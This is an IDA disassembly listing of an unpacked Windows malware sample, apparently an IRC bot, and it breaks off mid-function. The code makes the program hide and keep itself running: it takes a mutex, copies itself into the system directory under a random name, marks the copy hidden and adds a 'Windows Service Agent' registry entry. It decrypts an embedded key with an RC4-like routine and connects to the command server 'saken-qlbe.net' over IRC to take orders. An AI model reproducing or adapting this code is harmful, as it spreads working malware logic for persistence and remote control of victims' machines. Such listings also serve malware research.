; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 9DD8DB3DA025679AE16DD398AA9F7660 ; File Name : u:\work\9dd8db3da025679ae16dd398aa9f7660_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0003AB53 ( 240467.) ; Section size in file : 0003AB53 ( 240467.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401000(char *Str) sub_401000 proc near ; CODE XREF: WinMain(x,x,x,x)+358p ; sub_4190F6+1Ep var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_43F050 xor esi, esi mov ebx, offset aWindowsService ; "Windows Service Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4E30AC ; RegCreateKeyExA cmp [ebp+Str], esi jz short loc_40104D push [ebp+Str] ; Str call _strlen pop ecx push eax push [ebp+Str] push 1 push esi push ebx push [ebp+var_4] call dword_4E311C ; RegSetValueExA jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4E305C ; RegDeleteValueA loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4E30D4 ; RegCloseKey add edi, 8 cmp edi, offset dword_43F068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_43C01C[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4010AB(char *Filename) sub_4010AB proc near ; CODE XREF: sub_416F62+24Ap var_10 = dword ptr -10h Filename = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx ; Mode call _malloc mov [esp+10h+var_10], offset dword_43F068 push [esp+10h+Filename] ; Filename mov esi, eax call _fopen mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx ; NewSize push esi ; Memory call _realloc mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi ; File push 1 ; Count lea eax, [esi+ebx-1] push 1 ; ElementSize push eax ; DstBuf call sub_41E3E0 add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi ; Memory mov ebx, eax call _free push edi ; File call _fclose add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 240h push ebx push esi lea eax, [ebp-34h] push edi xor ebx, ebx push eax xor edi, edi mov byte ptr [ebp-34h], 0Ah mov byte ptr [ebp-33h], 0Eh mov byte ptr [ebp-32h], 20h mov byte ptr [ebp-31h], 48h mov byte ptr [ebp-30h], 0Bh mov byte ptr [ebp-2Fh], 2Bh mov byte ptr [ebp-2Eh], 0Ch mov byte ptr [ebp-2Dh], 23h mov byte ptr [ebp-2Ch], 3Ah mov byte ptr [ebp-2Bh], 27h mov byte ptr [ebp-2Ah], 28h mov byte ptr [ebp-29h], 5Eh mov byte ptr [ebp-28h], 2Ah mov byte ptr [ebp-27h], 1Eh mov byte ptr [ebp-26h], 2Dh mov byte ptr [ebp-25h], 5Ah mov byte ptr [ebp-24h], 1Bh mov byte ptr [ebp-23h], 0Fh mov byte ptr [ebp-22h], 4Ch mov byte ptr [ebp-21h], 44h mov byte ptr [ebp-20h], 16h mov byte ptr [ebp-1Fh], 4 mov byte ptr [ebp-1Eh], 57h mov byte ptr [ebp-1Dh], 23h mov byte ptr [ebp-1Ch], 11h mov byte ptr [ebp-1Bh], 53h mov byte ptr [ebp-1Ah], 38h mov byte ptr [ebp-19h], 13h mov byte ptr [ebp-18h], 0Dh mov byte ptr [ebp-17h], 12h mov byte ptr [ebp-16h], 25h mov byte ptr [ebp-15h], 1Ch mov byte ptr [ebp-14h], 30h mov byte ptr [ebp-13h], 12h mov byte ptr [ebp-12h], 50h mov byte ptr [ebp-11h], 4Fh mov byte ptr [ebp-10h], 39h mov byte ptr [ebp-0Fh], 10h mov byte ptr [ebp-0Eh], 42h mov byte ptr [ebp-0Dh], 1Fh mov byte ptr [ebp-0Ch], 37h mov byte ptr [ebp-0Bh], 1Dh mov byte ptr [ebp-0Ah], 41h mov byte ptr [ebp-9], 55h mov byte ptr [ebp-8], 2Ch mov byte ptr [ebp-7], 41h mov byte ptr [ebp-6], 2Ch mov byte ptr [ebp-5], 58h mov [ebp-4], bl call _strlen mov esi, 101h mov [ebp-38h], eax push esi lea eax, [ebp-13Ch] push ebx push eax call _memset push esi lea eax, [ebp-240h] push ebx push eax call _memset add esp, 1Ch xor eax, eax mov ecx, 100h loc_401227: ; CODE XREF: .text:00401231j mov [ebp+eax-13Ch], al inc eax cmp eax, ecx jb short loc_401227 cmp [ebp+14h], ebx jz short loc_401256 xor eax, eax loc_40123A: ; CODE XREF: .text:00401252j cmp edi, [ebp+14h] jnz short loc_401241 xor edi, edi loc_401241: ; CODE XREF: .text:0040123Dj mov edx, [ebp+10h] mov dl, [edi+edx] inc edi mov [ebp+eax-240h], dl inc eax cmp eax, ecx jb short loc_40123A jmp short loc_401270 ; --------------------------------------------------------------------------- loc_401256: ; CODE XREF: .text:00401236j xor esi, esi loc_401258: ; CODE XREF: .text:0040126Ej cmp edi, [ebp-38h] jnz short loc_40125F xor edi, edi loc_40125F: ; CODE XREF: .text:0040125Bj mov al, [ebp+edi-34h] inc edi mov [ebp+esi-240h], al inc esi cmp esi, ecx jb short loc_401258 loc_401270: ; CODE XREF: .text:00401254j mov [ebp+14h], ebx xor edi, edi mov eax, 0FFh loc_40127A: ; CODE XREF: .text:004012B4j mov dl, [ebp+edi-13Ch] mov ebx, [ebp+14h] mov cl, [ebp+edi-240h] lea esi, [ebp+edi-13Ch] add ebx, edx add ecx, ebx and ecx, eax inc edi mov [ebp+14h], ecx cmp edi, 100h mov bl, [ebp+ecx-13Ch] lea ecx, [ebp+ecx-13Ch] mov [esi], bl mov [ecx], dl jb short loc_40127A xor edi, edi cmp [ebp+0Ch], edi mov [ebp+14h], edi mov [ebp+10h], edi jbe short loc_401312 loc_4012C3: ; CODE XREF: .text:00401310j inc edi and edi, eax mov dl, [ebp+edi-13Ch] lea ecx, [ebp+edi-13Ch] mov bl, dl add ebx, [ebp+14h] and ebx, eax mov esi, ebx mov bl, [ebp+esi-13Ch] mov [ebp+14h], esi mov [ecx], bl lea esi, [ebp+esi-13Ch] mov ebx, [ebp+10h] mov [esi], dl mov cl, [ecx] mov esi, [ebp+8] add ecx, edx and ecx, eax add esi, ebx mov cl, [ebp+ecx-13Ch] xor [esi], cl inc ebx cmp ebx, [ebp+0Ch] mov [ebp+10h], ebx jb short loc_4012C3 loc_401312: ; CODE XREF: .text:004012C1j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401317 proc near ; DATA XREF: WinMain(x,x,x,x)+14o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h Dst = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_456024 call dword_4E3190 ; closesocket call sub_40B91F call dword_4E3050 ; WSACleanup call dword_4E3050 ; WSACleanup mov ebx, ds:dword_4F534C push 64h call ebx ; Sleep xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_54] pop esi push esi ; Size push edi ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_455290 mov [ebp+var_28], 1 mov [ebp+var_24], di call ds:dword_4F5348 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call ds:dword_4F5344 ; GetModuleFileNameA lea eax, [ebp+Dst] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call ds:dword_4F5340 ; CreateProcessA test eax, eax jz short loc_4013DC push 64h call ebx ; Sleep push [ebp+Dst] mov esi, ds:dword_4F533C call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_4013DC: ; CODE XREF: sub_401317+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_455288 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call ds:dword_4F5338 ; ExitProcess pop edi pop esi pop ebx loc_4013FF: ; DATA XREF: .data:0043F004o jmp $+5 push 0FFFFh push 539h call sub_419551 pop ecx mov dword_4E2E18, eax pop ecx retn sub_401317 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+121p var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h Filename = byte ptr -6F4h Str = byte ptr -5F4h Ext = byte ptr -4F0h SubStr = byte ptr -3F0h FullPath = byte ptr -2ECh Dest = byte ptr -1E8h var_E4 = dword ptr -0E4h var_D8 = dword ptr -0D8h var_B8 = dword ptr -0B8h var_B4 = word ptr -0B4h Source = byte ptr -0A0h Dst = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 hInstance = dword ptr 8 hPrevInstance = dword ptr 0Ch lpCmdLine = dword ptr 10h nShowCmd = dword ptr 14h push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_4], offset sub_401317 push [ebp+var_4] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_4F537C call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4E2E1C, eax call esi ; GetTickCount push eax ; Seed call _srand pop ecx call sub_409DD4 push 2 call dword_4E31A4 ; SetErrorMode push 7530h push offset aTrb ; "trb" push ebx push ebx call ds:dword_4F5378 ; CreateMutexA push eax call ds:dword_4F5374 ; WaitForSingleObject cmp eax, 102h jnz short loc_40149B push 1 call ds:dword_4F5338 ; ExitProcess loc_40149B: ; CODE XREF: WinMain(x,x,x,x)+76j lea eax, [ebp+var_884] push eax push 202h call dword_4E3068 ; WSAStartup cmp eax, ebx jnz loc_4019DE cmp [ebp+var_884], 2 jnz loc_4019D8 xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_4019D8 mov esi, 104h lea eax, [ebp+SubStr] push esi push eax call ds:dword_4F5348 ; GetSystemDirectoryA lea eax, [ebp+FullPath] push esi push eax push ebx call ds:dword_4F5370 ; GetModuleHandleA push eax call ds:dword_4F5344 ; GetModuleFileNameA lea eax, [ebp+Ext] push eax ; Ext lea eax, [ebp+Filename] push eax ; Filename push ebx ; Dir lea eax, [ebp+FullPath] push ebx ; Drive push eax ; FullPath call __splitpath add esp, 14h lea eax, [ebp+Ext] push eax lea eax, [ebp+Filename] push eax push offset aSS ; "%s%s" lea eax, [ebp+Str] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+SubStr] push eax ; SubStr lea eax, [ebp+FullPath] push eax ; Str call _strstr add esp, 1Ch test eax, eax jnz loc_401710 cmp dword_43F08C, ebx mov esi, offset Str ; "nlzhxmpyrjsyle.exe" jz short loc_401596 push esi ; Str xor edi, edi call _strlen sub eax, 4 pop ecx jz short loc_401596 loc_401573: ; CODE XREF: WinMain(x,x,x,x)+179j call _rand push 1Ah cdq pop ecx idiv ecx push esi ; Str add dl, 61h mov byte ptr Str[edi], dl ; "nlzhxmpyrjsyle.exe" inc edi call _strlen sub eax, 4 pop ecx cmp edi, eax jb short loc_401573 loc_401596: ; CODE XREF: WinMain(x,x,x,x)+148j ; WinMain(x,x,x,x)+156j lea eax, [ebp+SubStr] push esi push eax lea eax, [ebp+Dest] push offset Format ; "%s\\%s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dest] push eax call ds:dword_4F536C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4015D6 lea eax, [ebp+Dest] push 80h push eax call ds:dword_4F5368 ; SetFileAttributesA loc_4015D6: ; CODE XREF: WinMain(x,x,x,x)+1A7j mov esi, ds:dword_4F5364 lea eax, [ebp+Dest] push ebx push eax lea eax, [ebp+FullPath] xor edi, edi push eax loc_4015ED: ; CODE XREF: WinMain(x,x,x,x)+209j call esi ; CopyFileA test eax, eax jnz short loc_401626 call ds:dword_4F5360 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_401626 cmp eax, 20h jz short loc_401607 cmp eax, 5 jnz short loc_401626 loc_401607: ; CODE XREF: WinMain(x,x,x,x)+1E5j push 1 pop edi push 3A98h call ds:dword_4F534C ; Sleep lea eax, [ebp+Dest] push ebx push eax lea eax, [ebp+FullPath] push eax jmp short loc_4015ED ; --------------------------------------------------------------------------- loc_401626: ; CODE XREF: WinMain(x,x,x,x)+1D6j ; WinMain(x,x,x,x)+1E0j ... lea eax, [ebp+Dest] push eax call sub_418FAF pop ecx lea eax, [ebp+Dest] push 7 push eax call ds:dword_4F5368 ; SetFileAttributesA push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_E4] pop esi push esi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_E4], esi mov [ebp+var_D8], offset dword_4E2F94 mov [ebp+var_B4], bx push 1 pop esi mov [ebp+var_B8], esi call ds:dword_4F535C ; GetCurrentProcessId push eax push esi push 100000h call ds:dword_4F5358 ; OpenProcess lea ecx, [ebp+FullPath] push ecx push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_988] push offset aSDS ; "%s %d \"%s\"" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Dst] push eax lea eax, [ebp+var_E4] push eax lea eax, [ebp+SubStr] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+Dest] push eax call ds:dword_4F5340 ; CreateProcessA test eax, eax jz short loc_401710 push 0C8h call ds:dword_4F534C ; Sleep push [ebp+Dst] mov esi, ds:dword_4F533C call esi ; CloseHandle push [ebp+var_1C] call esi ; CloseHandle call dword_4E3050 ; WSACleanup push ebx call ds:dword_4F5338 ; ExitProcess loc_401710: ; CODE XREF: WinMain(x,x,x,x)+137j ; WinMain(x,x,x,x)+2CBj cmp dword_4F351C, 2 jle short loc_40175C mov eax, dword_4F3520 push dword ptr [eax+4] ; Str call _atoi pop ecx mov esi, eax push 0FFFFFFFFh push esi call ds:dword_4F5374 ; WaitForSingleObject push esi call ds:dword_4F533C ; CloseHandle mov eax, dword_4F3520 cmp [eax+8], ebx jz short loc_40175C push 7D0h call ds:dword_4F534C ; Sleep mov eax, dword_4F3520 push dword ptr [eax+8] call ds:dword_4F5354 ; DeleteFileA loc_40175C: ; CODE XREF: WinMain(x,x,x,x)+2FCj ; WinMain(x,x,x,x)+326j cmp dword_43F090, ebx jz short loc_401779 cmp dword_4E31C8, ebx jnz short loc_401779 lea eax, [ebp+Str] push eax ; Str call sub_401000 pop ecx loc_401779: ; CODE XREF: WinMain(x,x,x,x)+347j ; WinMain(x,x,x,x)+34Fj lea eax, [ebp+Source] push offset asc_43FA60 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push ebx ; int push eax ; Source call sub_40B756 lea eax, [ebp+Source] push eax call sub_415C3F push 0B80h ; Size push ebx ; Val push offset dword_455298 ; Dst call _memset add esp, 24h lea eax, [ebp+Source] push offset asc_43FA7C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 1 ; int push eax ; Source call sub_40B756 add esp, 14h mov esi, eax mov edi, ds:dword_4F5350 lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_41A8E1 push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_45602C[esi], eax jnz short loc_40181C call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_43FAA0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40181C: ; CODE XREF: WinMain(x,x,x,x)+3E4j lea eax, [ebp+Source] push eax call sub_415C3F push 2 call sub_40B99E pop ecx test eax, eax pop ecx jnz short loc_4018A1 lea eax, [ebp+Source] push offset asc_43FAE0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 2 ; int push eax ; Source call sub_40B756 add esp, 14h mov esi, eax lea eax, [ebp+var_8] push eax push ebx push esi push offset sub_410C7D push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_45602C[esi], eax jnz short loc_401894 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_43FB0C ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_401894: ; CODE XREF: WinMain(x,x,x,x)+45Cj lea eax, [ebp+Source] push eax call sub_415C3F pop ecx loc_4018A1: ; CODE XREF: WinMain(x,x,x,x)+418j call _rand push 7Fh ; Count and eax, 3 push offset Source ; "saken-qlbe.net" push offset Dest ; Dest mov dword_4E2F8C, eax call _strncpy mov eax, dword_43F06C push 3Fh ; Count mov edi, offset byte_4E2EA4 push offset a0 ; "#0#" push edi ; Dest mov dword_4E2F74, eax call _strncpy push 3Fh ; Count mov esi, offset byte_4E2EE4 push offset a7lome ; "7lome" push esi ; Dest call _strncpy add esp, 24h mov dword_4E2F78, ebx loc_4018F6: ; CODE XREF: WinMain(x,x,x,x)+563j ; WinMain(x,x,x,x)+56Ej ... mov [ebp+var_4], ebx loc_4018F9: ; CODE XREF: WinMain(x,x,x,x)+517j push offset dword_4E2E20 mov dword_4E2F88, ebx call sub_4019E7 cmp eax, 2 mov [ebp+var_10], eax jz loc_4019D3 cmp dword_4E2F88, ebx jz short loc_401920 dec [ebp+var_4] loc_401920: ; CODE XREF: WinMain(x,x,x,x)+500j push 0BB8h call ds:dword_4F534C ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_4018F9 cmp [ebp+var_10], 2 jz loc_4019D3 cmp [ebp+var_C], ebx jz short loc_401983 push 7Fh ; Count push offset Source ; "saken-qlbe.net" push offset Dest ; Dest call _strncpy mov eax, dword_43F06C push 3Fh ; Count push offset a0 ; "#0#" push edi ; Dest mov dword_4E2F74, eax call _strncpy push 3Fh ; Count push offset a7lome ; "7lome" push esi ; Dest call _strncpy add esp, 24h mov [ebp+var_C], ebx jmp loc_4018F6 ; --------------------------------------------------------------------------- loc_401983: ; CODE XREF: WinMain(x,x,x,x)+526j cmp byte_43F0E0, bl jz loc_4018F6 push 7Fh ; Count push offset byte_43F0E0 ; Source push offset Dest ; Dest call _strncpy mov eax, dword_43F070 push 3Fh ; Count push offset a1 ; "#1#" push edi ; Dest mov dword_4E2F74, eax call _strncpy push 3Fh ; Count push offset a7lome_0 ; "7lome" push esi ; Dest call _strncpy add esp, 24h mov [ebp+var_C], 1 jmp loc_4018F6 ; --------------------------------------------------------------------------- loc_4019D3: ; CODE XREF: WinMain(x,x,x,x)+4F4j ; WinMain(x,x,x,x)+51Dj call sub_40B91F loc_4019D8: ; CODE XREF: WinMain(x,x,x,x)+A1j ; WinMain(x,x,x,x)+B1j call dword_4E3050 ; WSACleanup loc_4019DE: ; CODE XREF: WinMain(x,x,x,x)+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h _WinMain@16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019E7 proc near ; CODE XREF: WinMain(x,x,x,x)+4E9p ; DATA XREF: sub_401CC7+66ABo var_190 = dword ptr -190h Args = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h Dest = byte ptr -2Ch Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401A0C: ; CODE XREF: sub_4019E7+E6j ; sub_4019E7+136j ... push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_3C] call dword_4E30F8 ; htons mov [ebp+var_E], ax lea eax, [ebp+Args] push eax call sub_40AE55 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_401B39 push 1Ch ; Size lea eax, [ebp+Dest] push 0 ; Val push eax ; Dst call _memset push 0 ; Str1 lea eax, [ebp+Dest] push dword_43F0A0 ; int push dword_43F09C ; int push eax ; Dest call sub_40B44F mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh ; Count add eax, offset byte_456030 push edi ; Source push eax ; Dest call _strncpy add esp, 28h push 6 push 1 push 2 call dword_4E3178 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_456024[eax], esi lea eax, [ebp+Dst] push eax push esi call dword_4E30A0 ; connect cmp eax, 0FFFFFFFFh jnz short loc_401AD2 push esi call dword_4E3190 ; closesocket call sub_40AE7E push 7D0h loc_401AC7: ; CODE XREF: sub_4019E7+146j call ds:dword_4F534C ; Sleep jmp loc_401A0C ; --------------------------------------------------------------------------- loc_401AD2: ; CODE XREF: sub_4019E7+CDj lea eax, [ebp+Args] push eax ; Args push offset asc_43FB40 ; "-" call sub_415CB3 push [ebp+var_38] lea eax, [ebp+Args] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401B4F add esp, 28h mov edi, eax push esi call dword_4E3190 ; closesocket test edi, edi jz loc_401A0C cmp edi, 1 jnz short loc_401B2F push 0DBBA0h jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401B2F: ; CODE XREF: sub_4019E7+13Fj cmp edi, 2 jz short loc_401B3D jmp loc_401A0C ; --------------------------------------------------------------------------- loc_401B39: ; CODE XREF: sub_4019E7+5Aj xor eax, eax jmp short loc_401B49 ; --------------------------------------------------------------------------- loc_401B3D: ; CODE XREF: sub_4019E7+14Bj push [ebp+var_34] call sub_40BA72 pop ecx push 2 pop eax loc_401B49: ; CODE XREF: sub_4019E7+154j pop edi pop esi leave retn 4 sub_4019E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B4F proc near ; CODE XREF: sub_4019E7+123p Dst = byte ptr -1A90h var_A90 = dword ptr -0A90h var_2C0 = dword ptr -2C0h var_140 = dword ptr -140h Str = byte ptr -0A0h Dest = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Source = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call __alloca_probe push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401B6D: ; CODE XREF: sub_401B4F+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401B6D cmp byte_43F0CC, bl jz short loc_401B94 push offset byte_43F0CC ; Args push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] ; int call sub_409CEE add esp, 0Ch loc_401B94: ; CODE XREF: sub_401B4F+2Ej push [ebp+Source] lea eax, [ebp+Dest] push ebx ; Str1 push ebx ; int push 2 ; int push eax ; Dest call sub_40B44F add esp, 10h push eax lea eax, [ebp+Str] push [ebp+Source] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Str] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+arg_0] call dword_4E3148 ; send cmp eax, 0FFFFFFFFh jnz short loc_401BFE push [ebp+arg_0] call dword_4E3190 ; closesocket push 1388h call ds:dword_4F534C ; Sleep loc_401BF7: ; CODE XREF: sub_401B4F+D9j ; sub_401B4F+153j xor eax, eax loc_401BF9: ; CODE XREF: sub_401B4F+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401BFE: ; CODE XREF: sub_401B4F+92j ; sub_401B4F+F8j ... mov esi, 1000h lea eax, [ebp+Dst] push esi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push esi push eax push [ebp+arg_0] call dword_4E3110 ; recv test eax, eax jle short loc_401BF7 lea eax, [ebp+var_A90] push eax ; int lea eax, [ebp+Dst] push eax ; Str call sub_418C98 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401BFE lea edi, [ebp+var_A90] loc_401C4F: ; CODE XREF: sub_401B4F+165j push 1 pop esi loc_401C52: ; CODE XREF: sub_401B4F+144j push [ebp+arg_1C] ; int lea eax, [ebp+var_8] push esi ; File push eax ; int lea eax, [ebp+var_140] push eax ; int lea eax, [ebp+var_2C0] push eax ; int push [ebp+arg_18] ; int push [ebp+Source] ; Source push [ebp+arg_8] ; int push [ebp+arg_4] ; int push [ebp+arg_0] ; int push dword ptr [edi] ; Src call sub_401CC7 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401C95 push 7D0h call ds:dword_4F534C ; Sleep jmp short loc_401C52 ; --------------------------------------------------------------------------- loc_401C95: ; CODE XREF: sub_401B4F+137j cmp esi, 0FFFFFFFDh jz short loc_401CBF cmp esi, 0FFFFFFFEh jz short loc_401CBB cmp esi, 0FFFFFFFFh jz loc_401BF7 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401C4F jmp loc_401BFE ; --------------------------------------------------------------------------- loc_401CBB: ; CODE XREF: sub_401B4F+14Ej push 1 jmp short loc_401CC1 ; --------------------------------------------------------------------------- loc_401CBF: ; CODE XREF: sub_401B4F+149j push 2 loc_401CC1: ; CODE XREF: sub_401B4F+16Ej pop eax jmp loc_401BF9 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401CC7(int Src,int,int,int,char *Source,int,int,int,int,FILE *File,int) sub_401CC7 proc near ; CODE XREF: sub_401B4F+12Ap var_5D98 = dword ptr -5D98h var_5D88 = dword ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h Dest = byte ptr -50F4h FullPath = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = dword ptr -45ECh var_4588 = byte ptr -4588h Str = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h 